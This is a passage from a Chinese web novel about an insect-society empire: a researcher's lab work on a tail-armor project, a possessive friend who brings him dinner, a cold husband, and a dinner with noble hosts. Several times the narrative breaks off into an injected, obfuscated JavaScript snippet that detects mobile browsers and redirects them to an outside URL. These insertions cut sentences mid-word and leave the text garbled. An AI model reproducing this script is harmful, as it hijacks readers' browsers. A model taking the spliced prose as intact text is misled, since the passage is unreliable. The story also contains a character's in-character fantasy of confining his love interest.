弥斯又四处张望了一下,小心谨慎地告知好朋友,“我只告诉你一只虫,那里被柱子挡到了,别的虫都没有发现。” “嗯,谢谢,但是我要是停在那里,你怎么办呢?” 路西法觉得有些好笑,当然没有虫停了,那块被他买下来改成了停机位,就连柱子都是为了不引起雄虫怀疑,特意安排的。 “嗯……没关系的,我最近运气很好,一定能找到位置的。” 弥斯偷偷捏紧了衣角,他最近运气应该挺好的吧,虽然有些倒霉,但是也没出事故。 路西法知道雄虫又陷进了他自己的小世界,没有说话,只是偷偷看着雄虫的黑色脑袋。 弥斯现在刚刚大四,已经进入了被保送到帝国研究所了,而且他的主修学分已经修完了,所以大多数时间不需要去上课。 等两只虫来到实验室附近,虫迹罕至,路西法才掏出兜里的药膏。 “弥斯,你又没有涂药,幸好我今天顺手带了。” 弥斯听到声音才回过神,他下意识地掀开额头上的头发,随意地按了按。 “不是很痛,我都快忘了,谢谢你,路西法。” 雄虫非常感激地抬头看他,路西法甚至想伸手捂住雄虫深邃的黑曜石眼睛,真是的,雄虫这样看着他的话,很容易激起一些奇奇怪怪的性.欲。 “嗯,看来你今天很幸运。” 路西法补充了一句,果然雄虫更开心了。 弥斯真的十分好懂,比如他十分在意好运,又比如, “你今天项链上的雪狼挂饰是新做的吗?真好看。” 弥斯有些不好意思的捏紧手中的药膏,“你喜欢吗?” “喜欢。” 路西法知道雄虫这个时候不会抬头看他,所以肆无忌惮地勾勒着雄虫裸露出来的每一寸肌肤。 “那我改天送你一个。” 弥斯非常高兴好朋友可以欣赏他的手艺,他这个是白色雪狼,给少将做得那个是灰棕色的,可惜少将不喜欢,从来没有带过。 如果是路西法的话,做一个红色的吧。 “谢谢。” 路西法想了想觉得雄虫虽然不会主动询问,但他还是要说一下。 “你的飞行器我忘记开过来了,等周五的时候再开过来给你。” 按雄虫以前的习惯,估摸着几个月都不会去换一艘新的飞行器,安全隐患太大了,他买了一艘新的,要改装一下,然后把外观做旧,挺麻烦的。 弥斯不是很在意地点点头,“当然可以,我是住宿的,这几天也用不上。” 雄虫真的好乖啊,明明这么优秀,但偏偏有些过于乖了,路西法有时候特别想兽性大发,直接把雄虫关起来,直到他怀上蛋雄虫不得不接受他为止。 可惜的是,等他想明白的时候,弥斯已经把他当成最好的朋友了。 “嗯,中午的时候,我们一起去餐厅吃饭,好不好?” 路西法说这句话的时候,眼睛里带着浓浓的不干,那只臭虫都能每周吃上雄虫亲手做得饭,甚至连臭虫的上尉都能抢走雄虫的饭。 而他,从来没有机会吃到过! “好。” 弥斯朝雌虫摆摆手,和他告别之后,就转身准备进入实验室。 “弥斯!” 雄虫被突然叫住,还有些懵懵的,不过依旧是十分乖巧地看着他。 “不要忘记涂药!” 雄虫点点头,彻底消失在路西法的视线中。 又是这样,然后就是漫长的等待,直到雄虫再次从实验室里出来,路西法心烦意乱地踢走脚边的石头。 该死的臭虫,雄虫额头上那么明显的伤口都看不到,凭什么能占据弥斯雌君的位置! “弥斯,你来了。” 研究员萨达斯非常平淡的和雄虫打了声招呼,然后继续面如死寂的盯着他的数据。 他做错了什么,虫神要那么对他的数据,为什么鳞甲顺利开合289次之后,再也必不上了。 弥斯对同事的破防已经习以为常了,“是圣嗣那个项目吗?” “嗯!”萨达斯浑浑噩噩地回答,他脑子里现在全是289。 “我在展览厅上仔细地看了成品,雄虫的尾翼结构十分负责,1cm的鳞片无法完全贴合尾翼表层,多次闭合之后,鳞片互相刮蹭就会松动。” 弥斯看了很多遍圣嗣的上身效果,视频中甚至只展示了一次,靠近尾针的鳞片就已经出现了非常细微的错位。 萨达斯死气沉沉地说:“1cm是多次实验后的最佳选择,毕竟圣嗣被研发出来,最重要的功能是攻击性,如果降低鳞甲 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16627988|187969||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的大小,破坏力就大幅度下降了。” 弥斯早就考虑得很清楚了,“1cm绝对不行,我们必须选用更小的鳞片来保证圣嗣的灵活性。” “1cm的这个数据只是基于高碳纳米晶钢这一种材料,我们不能局限在材料上。它太坚硬了,完全不符合我们的实际需求。” 萨达斯也不是特别守旧的虫,不然他也不会出现在研究所。 “可是,这是目前赫克斯综合指标最好的材料,也是目前外骨骼战甲最好用的材料,贸然换材料可能没有任何结果。” “或许我们可以重新设计鳞甲的叠构,让它更贴合尾翼。” 弥斯播放了他录制的视频材料,在某个时间点上暂停,然后指着圣嗣与尾椎骨的链接部分。 “鳞甲太锋利了,我们在设计的时候,必须考虑雄虫本身不会被鳞甲伤害,所以贴合部分是用哈鲁根合金衔接的。” “你来看这里,这两种材料的交接处韧性太差了,根本无法彼此配合来实现尾翼的自然摆动。” 萨达斯有些不解,“那我们可以换掉哈鲁根,换成和高晶钢相容性更好的合金材料。” 弥斯摇了摇头,“高晶钢之所以现在一直被广泛运用,最重要的原因之一,就是目前的外骨骼战甲对韧性和灵活性的要求不像尾翼那么苛刻。” 萨达斯心里已经有了判断,但是换材料并不是一件小事,它相当于要把圣嗣1.0直接推翻重做。 “拉会吧。” 圣嗣项目的主要研究员除了他们两只虫,还有拉索和墨涅斯,其中墨涅斯研究员的经验更加丰富,尤其是对于不同合金材料的性能了解的更加深刻。 四只虫就弥斯换材料的这项提议展开了激烈的讨论,从白天到黑夜,006实验室像炸开了锅一般,四只虫各执一词。 但最终,弥斯的观点被采纳了。 新的研究方向确定下来之后,更加沉重的问题出现了。 拉索直接就是一个倒地加鬼哭狼嚎的大动作,“啊!” “虫神在上,直接托梦告诉我,应该选用什么材料吧,我不要做实验啊!” 弥斯觉得有些好笑,但是从工作状态脱离出来的他,很难清晰地表达出自己的情绪,所以大多数时候,他都会选择沉默。 萨达斯的状态则完全不一样,他已经开始行动了,只要有研究方向,事情就变得简单许多,不过就是公式推导、实验、记录数据,重复而已。 “好了,都先去吃饭吧,这都10点半了,注意身体,尤其是弥斯。” 墨涅斯不但是他们的同事,同时也是整个项目的负责虫,他开心的时候会非常善良的关心大家的身体。 其他大多数时候,都秉持着只要干不死就往死里干的科研态度,非常冷酷。 显然,项目的新鲜血液弥斯,今天提出了一个非常有建设性的意见,这件事本身甚至比项目取得进展还要让他高兴。 所以,这个时候的墨涅斯总算是想起来了,虫也是要吃饭的。 弥斯的身体原本处于工作的兴奋状态,所以也没有觉得累,现下突然被告知了时间,他简直是又困又累又饿。 按他的习惯,这个时间点,他应该已经躺在床上开始复盘了。 小六:【宿主,我可以帮你解决】 弥斯:【六六,科研于我而言,过程远大于结果】 5. 第 5 章 从灯火通明的实验室里走出来,眼前的景象一下子就暗了下来。 研究所的位置很偏,离他的宿舍还有一段不短的距离,这么晚了,学院里也没有什么虫了。 夜,黑的有些可怕。 弥斯将项链摘了下来,握在手中给自己壮胆,他有些怕黑。 雪狼尖尖的耳朵尖刺进柔软的掌心,带来的刺痛感,可以帮他缓解一些紧张。 路西法就在黑暗里盯着雄虫,看着他有些胆怯地伸腿迈进黑暗,又退回了光里,来来回回的,可爱死了。 他是要生气的,毕竟雄虫明明答应了他中午一起吃饭,但是不但放了他鸽子,甚至还不回他消息。 雄虫应该受到惩罚,路西法这样想着,他有些恶劣的欣赏雄虫脸上的难得的表情。 弥斯的眉头皱起了大概几个毫米,嘴角也比平时平了一点,瞳孔微微放大,很容易就能让别虫看出情绪。 等弥斯第十次迈进黑暗,路西法总算是看够了。 “弥斯。” 路西法从黑暗里走出来,假装是刚刚经过的模样。 弥斯被吓了一大跳,但是听到是熟悉的声音,又很快冷静了下来。 他有些惊喜地喊道:“路西法,你怎么在这里?” 当然是来抓某只怕黑的可爱雄虫,路西法自然不会把真心话说出来。 “路过。” 弥斯对于这个说法肯定是不信的,毕竟这里这么偏,怎么会有虫从这里路过呢。 “你是来找墨涅斯的吗?” 路西法是圣嗣项目的投资虫,经常会过来视察项目进度,只不过都这么晚了,也要过来吗? 看出了雄虫有些低落,路西法脑子稍微转一下就知道雄虫在想些什么,无外乎是觉得不能跟着他回宿舍了。 “来找你的,某只虫是不是忘记了自己答应了什么?” 路西法双手环胸,眼睛里闪烁着诡异的光芒,好像要是雄虫想不起来的话,他就要动粗了。 要是有虫经过,肯定会被这种状态下的雌虫吓死,毕竟一只体型健硕的雌虫摆出这个架势,如果不是为了求偶的话,那只有一种可能了,他要揍虫了。 弥斯果然被雌虫吸引了,好发达的胸肌,为什么真的有虫的身材可以长得和想象中大胸男妈妈一样啊。 他晃了晃脑袋,将邪恶的想法抛至脑后,仔细回想自己答应了什么。 “对不起,我忙忘了。” 弥斯总算是想起来,他答应了雌虫一起去吃中午饭来着,想到饭他又开始饿了,宿舍里好像还放了一点营养液,到时候垫垫肚子,等明天早上好好奖励自己。 一般情况下,哪怕是工作中的雄虫也不会过得如弥斯这般凄惨。 帝国《圣巢宪章》中的《雄虫保护法》关于雄虫的健康权,有明确规定: 为了保障雄虫的健康,雌君、雌侍以及雌奴要全方位的保障雄虫日常起居不受客观因素的影响,包括但不限于一日三餐的合理供应、雄虫的出行安全等。 若经审判庭认定,雄虫的健康未得到有效保护,雄虫有权利合法的处置他的雌虫,其中怀蛋的雌虫享有一定的赦免权,但雄虫的意志至高无上。 路西法看着饥肠辘辘的弥斯甚至连只送饭的雌虫都没有,心里又开始咒骂那只臭虫,也就是弥斯是只恋爱脑虫,总是宽恕他。 不然按照宪章,那只臭虫现在应该被关在军事监狱里,而不是装作一无所知的一边享受雄虫的讨好,一边对雄虫不管不顾。 路西法依旧是刚刚那个姿势,雄虫明明更喜欢他这样的身材,为什么偏偏对那只弱鸡一往情深。 “不逗你了,知道你忙,走吧,带你去吃饭。” 弥斯连忙摆手,拒绝了雌虫的一番好意。 “太晚了,明天还要早起,我还是回宿舍好好睡一觉吧。” 饿肚子睡觉和饱着肚子睡眠不足,弥斯只花了一秒就做出了选择,可怜的肚子跟着他真是吃了上顿没下顿。 “不用你出去吃,我让虫送进来了,你要是再墨迹一会儿,饭就真的凉了。” 凉是肯定不会凉的,路西法太了解雄虫了,要是不给他一个关注点,肯定又会问你怎么知道我还没吃饭啊,为什么给我送饭啊,是顺路吗,巴拉巴拉的都是问题。 幸好,弥斯这虫在生活上相当迟钝,比如现在,被他这么一说,雄虫的关注点就停在了饭要凉了,真是特别好懂。 “那我们赶快走吧,凉了就不好吃了。” 弥斯瞬间眼冒金光,真是意外之喜,这么晚了还能吃上饭,今天真的是好运的一天。 好像每个周一运气都很好,是因为一开始能顺利找到停机位吗,果然,一个好的开始特别重要。 路西法带着雄虫来到学校的一处凉亭,为了照顾到他怕黑,饭菜旁边还放了几盏灯。 弥斯开开心心的冲过去,习惯性的伸手准备打开食盒。 “弥斯,我来吧。” 雌虫制止了他下意识的忙碌,那些低等级的雄虫尚且不需要自己亲自动手,弥斯这般优秀的雄虫,更不应该做这些杂事。 弥斯没注意到有什么不同,他现在所有的心思都放在了色香味俱全的饭菜上。 赫克斯和地球不同,这里的饭菜十分昂贵,所以大多数家庭都会采购各种口味的营养液放在家中,非常难喝。 所以哪怕是看似简单的口蘑炒肉和鲫鱼豆腐汤,在这里也十分稀罕,更何况弥斯喜欢清淡一些的饭菜,这些刚好符合他的口味。 弥斯坐下来率先扒拉两口米饭,太饿了,失了一些风度,不过想来路西法不会介意的。 垫了垫肚子,他才有些不好意思的等雌虫动筷,毕竟是雌虫带来的,他先吃已经不礼貌了,要是连菜都先吃了,那就很过分了。 “你怎么不吃啊?” 路西法看着雄虫两只眼睛亮晶晶地盯着餐盒里的饭菜,心里软软的,好可爱,想骗。 “我吃过了。” “弥斯,已经10点了,还没吃饭的虫才有些不正常。” 弥斯被说得有些脸红,他低下头开始认真吃饭,这次是真的饿了。 等他反应过来的时候,自己已经像蝗虫过境一般把这么多的饭菜全部吃完了,没错是全部,连汤都喝完了。 路西法全程带着笑意看雄虫像小仓鼠一般鼓着腮帮子,一个劲儿的往嘴里塞,要是平时,他肯定会制止雄虫,毕竟这样吃饭不太容易消化。 但他已经数月没有见到雄虫了,现在看雄虫简直一点儿抵抗力也没有,整只虫都被可爱懵圈了。 尤其是雄虫中间还偷偷抬头观察他的表情,估计是以为他没看到,眼睛里还带着一点得意,太可爱了。 不过既然放任雄虫吃这么多,路西法自然就拘着他先在这里歇歇,然后才送雄虫回到宿舍。 等到了雄虫的宿舍楼下,路西法像往常一样目送雄虫离开,但雄虫却不知为何突然停住了步伐,快速转过身看着他。 乌黑又澄澈的眼睛彷佛能窥见他内心的阴暗,路西法不自觉地垂眸避开和雄虫对视。 “路西法,谢谢你。” 弥斯有些害羞,他不擅长表达情感,所以哪怕是感激的话,也要在超级不经意地时候说出来。 而现在,显然十分刻意。 要是真的感谢,就应该跑过来乖乖地让他抱一会儿,而不是站得那么远,又偏偏跑到他心里跳舞。 “很晚了,回去吧。” 路西法有时候都认不得自己,这么温柔的虫竟然是他,真是不可思 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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现在对于材料的需求实在是太笼统了,要先确定接下来的方案以此缩短材料的范畴才对。 是的,是这样的,弥斯更兴奋了,他甚至拿出光屏准备继续研究。 嗡嗡嗡~ 光脑在白皙纤细的腕骨处震动,哪怕是已经被雄虫静音了,依旧将雄虫从思绪中生生拽了出来。 弥斯的脸上还带着工作的严肃,他点开光脑,发信虫的名字不由得让他有些心虚。 路西法:【?宿舍的灯怎么又打开了】 弥斯心虚极了,火速过去把灯关上,然后又觉得有些此地无银三百两,又把灯打开了。 弥斯:【还没走吗?】 路西法:【本来是要走的,就看到某只不听话的虫没有好好睡觉。】 弥斯:【对不起,我以为你走了。】 路西法:【在楼下看到了熟虫,聊了一会儿,赶紧睡】 弥斯:【好】 弥斯这下真的要睡了,工作的事情也急不来,他绝对不会承认自己有一点怕路西法生气。 路西法看到雄虫乖乖睡觉,也总算是放下心,“圣嗣”这个项目在雄虫心中的地位超出了他的预想。 说实话,他并不想让雄虫把太多精力放在工作上,但是雄虫喜欢,他就算有千万种手段也无法用到雄虫身上。 路西法摇摇头,将心中升起的阴暗念头晃出脑袋,他应该庆幸才是,没有在一开始做出后悔的事情。 小六:【宿主,要我监控他吗】 弥斯:【不用】 路西法,千万不要让我失望啊,不然我可是会伤心的。 6. 第 6 章 小六:【宿主,路西法真的很喜欢你啊】 弥斯:【他只是喜欢纯粹的我而已】 可他并不是这样的虫,等路西法看穿他的真面目,就不会像现在这样喜欢他了。 又是一个周六, 连续一周的忙碌让弥斯今天出奇的惫懒,但是形成的肌肉记忆,还是能让他在10点之前从床上爬起来准备做午饭。 等弥斯收拾好下楼,下单的星际快送也正好到了,某种意义上,一切都刚刚好。但可能是因为心里有事,他实在很难开心起来。 周三的时候,桑因阁下给他发了通讯,邀请他到家中做客。 这还是第一次有虫邀请他去家里,弥斯心中自然是乐意之至,可…… 最终他拒绝了,索伦是他的家虫,他曾经许诺过会在每个周六去给少将送饭,自然不应该因为一些个虫原因违背。 雄虫自进了办公室之后一直在发呆,这是之前从未发生过的事情,索伦自然不可能注意不到。 “弥斯?” 雄虫抖了一下,目光空洞地抬头,但又很快回过神来。 “怎么了,少将?” “没事,你是有什么事情吗?” 索伦皱起眉头,本就冷硬的面容看起来更加骇虫。 弥斯略显紧张地摇摇头,“没什么。”终究是他自己的事情,没必要让少将知道,否则,岂不是就像他刻意表现出来为难少将吗。 雄虫虽然嘴上不说,但是表现出来的不自在,索伦也做不到视而不见,但是他思来想去,他们之间的相处和曾经没有任何区别。 那就只剩一种可能了,他是不愿意相信的,但好像雄虫都是如此。 “你要是觉得麻烦,以后可以不用来了。” 弥斯有一瞬间的慌乱,他总是想在少将面前好好表现,但大多数时候都事与愿违,今天也是如此。 “对不起。” 弥斯下意识地道歉,哪怕他还没有意识到自己的错误,但是一直以来的生存法则告诉他,至少这样不会让事情变得更糟糕。 雄虫的道歉无疑验证了索伦少将的揣测,这让他觉得甚为无趣,甚至连这份藕丁尖椒鸡吃起来都没有任何味道。 索伦冷着脸走到办公椅前面坐下,垂眸继续处理尚未处理完的文件。 这是他们两只虫之间的共识,一般他这样做得时候,意味着用餐时间结束了。 弥斯坐在办公室里的小桌子前,看着眼前还剩下半盒的饭菜,鼻尖一酸,但是他的脸上甚至更加的平静。 少将竟然没有吃完,这可是他辛辛苦苦做得,怎么能浪费呢。 等弥斯像往常一样沉默地把桌上的残渣收拾干净,他才停下来看向少将。 不能就这么走了,弥斯攥紧拳头给自己加油,以前看文的时候不是最讨厌不张嘴的主角了吗。 “少将,我……” 弥斯高估了自己,他鼓足勇气地张嘴,冷不丁就和少将对视了。 瞳孔收缩为一条竖线,眼尾下垂,嘴角拉平,显然,少将因为他的突然打扰十分不愉快。 “没事,我先走了。” 弥斯就像只泄了气的皮球,整只虫看起来恹恹的。 雄虫刚刚想说什么呢,索伦坐在办公椅上,他有些讽刺地轻笑了一声,估计是向他诉说做饭的不容易吧。 赫克斯的雄虫不都是这样吗?雌虫对他们来说可有可无,完全比不得到手的权势、地位和星币,又怎么会愿意在厨房浪费时间呢? 他的雄主坚持了三年已经弥足珍贵了,不是吗?或许,他应该知足一些。 索伦看向桌子上展开的文件,他的内心并不像表面上那般轻描淡写,为什么连欺骗都不能坚持的久一点呢。 少将十分唾弃自己对雄虫的眷恋,雄虫不值得被信任,这是赫克斯自古以来的定律,永远不要心存幻想。 路西法看着终端上的时间,预计雄虫应该快要出来了,但并没有。 弥斯在干什么呢?和他那的雌君浓情蜜意,还是做一些其他的事情呢? 雌虫的脸色愈发铁青,虽然早就知道雄虫对雌君的在意,但当事实摆在他面前的时候,内心的阴暗想法还是一股脑地涌了出来。 好在,路西法也没有等太久,熟悉的黑色小卷毛脑袋出现在眼前,雌虫的脸上总算是恢复了平日里的玩世不恭。 但很快,他就发现了有些不对劲。 “发生什么了,弥斯,怎么这么不开心?” 弥斯摇摇头,这是他和少将的家事,哪怕路西法是他最好的朋友,他也不愿意多说。 路西法看到雄虫不愿意多说,心里更是恨得牙痒痒,不说也能猜到,肯定是在那只虫面前受了委屈。 “既然你不想说,那我就不问了。” 除非迫不得已,不然路西法不愿意在任何事情上为难雄虫。 弥斯听到朋友善解虫意的言语,心里有种说不上来的酸涩,好像他天生就不让任何虫满意,以前是这样,现在也是。 “别想太多!” 路西法伸手敲了一下雄虫的脑袋,这一头小卷毛,等雄虫愿意接受他的时候,必须要好好揉一揉。 “每只虫都有自己不想说的事情,就像我也有事情瞒着你。” 所以怎么会有虫不愿意迁就弥斯呢,他那么可爱,明明什么都没有做错,只是拒绝别虫,就已经自责极了。 弥斯乖巧地点点头。 他来到赫克斯之后,最开心的事情就是拥有了一个好朋友。 路西法又温柔又聪明,总是能猜出他在想什么,而且总是能体谅他,弥斯非常珍惜这段友谊。 弥斯突然想起了什么,从外套的夹层里掏出一个小盒子,然后有些羞涩地说: “这是我上次答应送你的项链,你看看喜不喜欢。” 路西法接过小盒子,他几乎是立刻就想表达自己的喜欢,但是想到雄虫的性格,他还是耐下性子,打开盒子,用心观察了一下里面的东西。 红色的雪狼,和雄虫的那条项链除了颜色没有任何不同。 一模一样啊,路西法心里除了欣喜,还有一点淡淡的担忧,东西要是想做的完全一样,花费的时间和精力可是大大增加的。 弥斯为什么要做得一模一样呢,怕做得不一样他不喜欢吗? 雄虫总是这样默默讨好他在意的虫,如果别虫不知道珍惜的话,很容易受到伤害。 “谢谢,我很喜欢。” “这个红色很适合我,是你精心调配的颜色吗?真漂亮。” 弥斯把礼物送出去的时候,真的很怕朋友不喜欢或者失望,总之,他甚至不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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除去桑因,这只帝国最有可能成为下一任虫皇的雄虫殿下,这场小型聚会的虫还有帝国最高法院九位大法官之一的艾瑞斯阁下,以及帝国首富的唯一继承虫,蒂安阁下。 弥斯进门之前,还以为只有桑因阁下一只虫,没想到还有两只陌生的雄虫,这让他有些紧张。 “弥斯,你来了。” 桑因对于弥斯的到来还是十分惊喜的,他确实喜欢这只单纯干净的雄虫,此外,他也是最近了解到路西法对雄虫的在意。 艾瑞斯因为职业的特殊性,条件反射般地审视这只突然出现的雄虫,天空般的眼睛里带着高高在上的傲慢,可当他看到雄虫干净的眸子时,眼睛也不由得变得宽和。 “艾瑞斯!” 桑因发现这虫的职业病又犯了,“弥斯可不是你庭下的罪虫,你别吓他。” 桑因拉着他的手,向他介绍了一下其余的两只虫。 “这是艾瑞斯,是帝国法院的大法官,他没什么恶意,就是上班久了脑子出了问题。” “这是蒂安,平日里最喜欢玩,没什么正经事做。” “这就是我和你们说过的弥斯,是不是……” 桑因得意地挑起下巴,满脸都是他发现一只小可爱的骄傲。 在赫克斯帝国的土地上,竟然还有眼睛这么干净的雄虫,实在是太罕见了,这是蒂安见到雄虫的第一反应。 “弥斯,日安。” 弥斯手足无措地回应他,然后更加慌乱地看向艾瑞斯。 艾瑞斯在雄虫的紧张视线下开口,“日安,小弥斯。” 弥斯肉眼可见的放松下来,总算是结束了这个打招呼的环节。 7. 第 7 章 三只有权有势的雄虫都默契地没有在弥斯身上找话题,毕竟雄虫看起来十分胆小。 桑因示意家仆把甜点再端一份过来,感觉弥斯会很喜欢。 粉粉嫩嫩的草莓奶芙和香气扑鼻的椰蓉奶糕,弥斯的眼睛更亮了。因为糖、水果还有奶油等都是很贵的东西,为了节省开支,他已经很久没吃过了。 而且可能也是这个原因,甜品的教程在星网上真的很少,偶尔做一次,口味也很一般,但端上来的这份光是香味就已经让虫垂涎三尺了。 “谢谢。” 弥斯略带羞涩地表达感谢,然后将一小块椰蓉奶糕放进嘴里,牙齿轻轻咬下,椰蓉粗糙的纤维质地和奶糕极致细腻、嫩滑的膏体的强烈对比,甜而不腻、香而不俗、滑而不粘,绵密和清香恰到好处。 小六:【宿主,你开始喜欢吃甜的了吗】 弥斯:【可能】 小六:【那我更新一下资料】 …… 弥斯:【不用】 桑因他们虽然在聊天,但是余光都忍不住放在了雄虫身上,看到他乖巧地咀嚼糕点,眼睛也略微眯了起来,真的是太好满足的雄虫。 蒂安:“桑因,这只新朋友确实很有意思。” 桑因骄傲地点点头,又立刻开口讽刺道:“当然,他可不像你,拿到矿星开发权之后,反手就把我的消息卖给了莱昂纳。” 蒂安笑了,“这怎么能说卖呢?我可没收星币。” 桑因白了他一眼,真是擅长狡辩,蒂安没有收星币,但是他获得矿星的军方保护,狡猾的老狐狸。 蒂安真是受不了这只傲娇的皇子,明明是他自己本来就想给元帅一个台阶,现在又在这里抱怨,说到底还是想要好处。 “最新款的飞行器发售后立刻送到你家里。” 桑因开心了,自然没有意见了,反正吃亏的不是他,是可恶的莱昂纳。 正好管家虫过来,他们都站起身往餐桌那边走。 蒂安特意落后一步和弥斯走在一起,抓住他的手腕等另外两只虫稍微远点,才神秘兮兮地说:“等飞行器发售,也送你一架。” 弥斯意识到雄虫的接近时,就已经开始紧张了,被他抓住的时候,身体骤然紧绷,许多不美好的记忆一下子涌了上来。 直到这只雄虫说完,才放松下来,然后他就更加困惑了。 “为什么?” 弥斯刚刚一直在享受甜点,他们说话也没避着自己,所以一时间还真不知道为什么要突然送他一架飞行器。 “看你可爱。” 蒂安所言非虚,就算这只雄虫和路西法殿下没有关系,他依旧十分喜欢,瞧瞧这干净的眼睛,比那两只心机深沉的雄虫可爱太多了。 “我,我……我不可爱,飞行器很贵的,你不要送我。” 虽然很开心雄虫的喜欢,这意味着他很可能又多了一个朋友,但是无功不受禄,怎么能白白的收别虫的东西呢。 蒂安又被这只雄虫可爱到了,他刚想再调戏一番,桑因就开口了。 “他喜欢送!你就开开心心收了就行,反正他星币多的没地方花,你收了也算是做好事了,他还要感谢你。” 弥斯大受震撼,他原来的家庭还算富裕,但也从未这般挥霍过。 蒂安被桑因这一搅和,又看到雄虫眨巴着黑溜溜的大眼睛盯着他,只能吃下这个哑巴亏。 飞行器没了就没了,调戏雄虫的机会没了,下次就不知道要等多久了。 亏大发了。 “谢谢你,蒂安阁下。” 雄虫说话时,尾音会不自觉地上扬,带着一点软软糯糯的拖腔,像小猫的粉垫轻轻擦过,真的是撒娇一样。 蒂安把虫拉过来,狠狠揉了一下他的脑袋,“赚了。” 刚刚就觉得弥斯的小卷毛勾引他,果然手感很好。 弥斯被揉懵了,整只虫都僵住了,一脸茫然地任由他揉搓。 “蒂安,你别欺负他。” 桑因对这虫不知轻重的行为十分不满,他都还没揉过呢,可恶的蒂安。 “弥斯,你生气了吗?” 蒂安有些忐忑地问,他没什么恶意,万一弥斯觉得他是在欺负虫,那真的太糟糕了。 弥斯伸手摸了摸自己的头,没觉得有什么不同。 “没有。” 他确实不生气,只是有些好奇。 “我的头发有什么问题吗?” 蒂安松了一口气,他是想和弥斯成为朋友的。 “看起来特别柔软。” 落后的两只虫也总算落座,除去弥斯,其他三只虫的进餐欲望很低,今天这顿饭为了招待新朋友做得极为丰盛,他们平日里吃得清淡,所以没什么胃口。 说是一起聚餐,但三只虫都悄悄地观察弥斯,很奇怪,由于位置原因,弥斯的眼前是红烧狮子头和糖醋鲤鱼,两道菜都不适合多吃,但偏偏他就只吃眼前的那一道。 这样说也不贴切,准确地说,弥斯只吃了红烧狮子头。 桑因和蒂安对视了一眼,总觉得不对,但又说不上来哪里不对。 艾瑞斯用公筷夹起一块鲤鱼,耐心地挑出鱼刺,然后放在雄虫面前的盘子里。 弥斯看到盘子里突然多出的肉,抬眸和艾瑞斯对视了,他慢吞吞地把嘴里的饭吃完,然后才小声地说:“谢谢。” 艾瑞斯顿了一下,然后把文思豆腐推到雄虫面前。 果然,弥斯的眼睛亮了一下,他没觉得哪里不对,因为艾瑞斯就坐在他旁边,所以他悄悄地盛了一小碗,还以为没有虫在意。 殊不知,这个餐桌上只有他在认真吃饭。 这个时候,桑因和蒂安要是还不清楚怎么回事那就真的是蠢了。但是,他们很难理解,毕竟,不论是帝国还是落后的联盟,赫克斯的雄虫都受到了至高无上的优待。 弥斯的这种小心翼翼,一般只会发生在雌虫崽和不受喜爱的亚雌身上。 桑因的角色变得很难看,一只S级的雄虫竟然有可能受到了冷待,这种事情竟然会发生在帝国,这是他作为虫皇继承虫的失败。 弥斯自顾自地享受美食,他全然意识不到周围氛围的变化,也确实,他甚至没怎么抬起头,又怎么发现这点微妙的变化。 吃完午饭之后,时间依旧还早,蒂安拉着他们玩了一会儿最近新推出的一款沉浸式逃脱游戏。 “弥斯,你太聪明了吧!”这是兴奋的蒂安。 “这怎么注意到的!”这是不可置信的桑因。 “这里。”这是冷静的大法官艾瑞斯阁下。 “啊?” “没有吧。” “我来了。” 这是可爱的弥斯。 弥斯许久没有这么放松过了,和朋友在一起的感觉十分美妙,让他甚至忘记了时间。 等几只虫从游戏的惊险刺激中回过神,已经晚上8点了,这不算特别晚,在场的虫都十分淡定。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16627991|187969||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 除了弥斯,他看到时间的时候,整只虫都呈现出一种前所未有的慌乱。 桑因本来还打算留他吃晚饭,但看他这么着急,也只能先把他送回家。 担心弥斯饿到自己,他还嘱咐管家装了一些甜点在路上吃。 弥斯看着递过来的甜点,他心里有事情,没什么胃口,但这是朋友递过来的,桑因阁下在担心他,所以还是接过来慢慢吃了一点。 桑因把虫送到家之后,又把甜点塞进他手里,弥斯一看就不是个会照顾自己的。 “谢谢你,桑因阁下。” 弥斯觉得自己最近真的很幸运。 “叫我桑因就行,阁下、阁下的太见外了。” 桑因皱着眉头纠正他,然后又补了一句。 “弥斯,这里是赫克斯帝国,雄虫永远不需要心存感激,以后不要再说谢谢了,很容易被有心虫欺负的。” 这里是赫克斯,不是星网上播放的小视频,一个单纯的雄虫除了雌虫拿捏,没有任何其他可能。 弥斯不理解为什么不能说谢谢,但是桑因阁下一看就是雄虫楷模,他说得肯定没错。 “嗯。” 看到弥斯能听进去,桑因也是松了一口气,幸好只是单纯,不是蠢也不是倔,不然再来一个维克尔就太麻烦了。 弥斯有些忐忑地往家里走,本来中午的时候就惹少将不开心,晚上又回来的这么晚,岂不是耽误每周的例行精神疏导和繁衍,希望这次他能解释清楚。 客厅没开灯,看来少将没有等他,弥斯既开心没有浪费少将的时间,另一方面又有些失落,他内心还是希望回家的时候有虫在等他。 等雄虫拖着沉重的步子打开客厅里的灯的时候,发现索伦少将斜靠在沙发上盯着他。 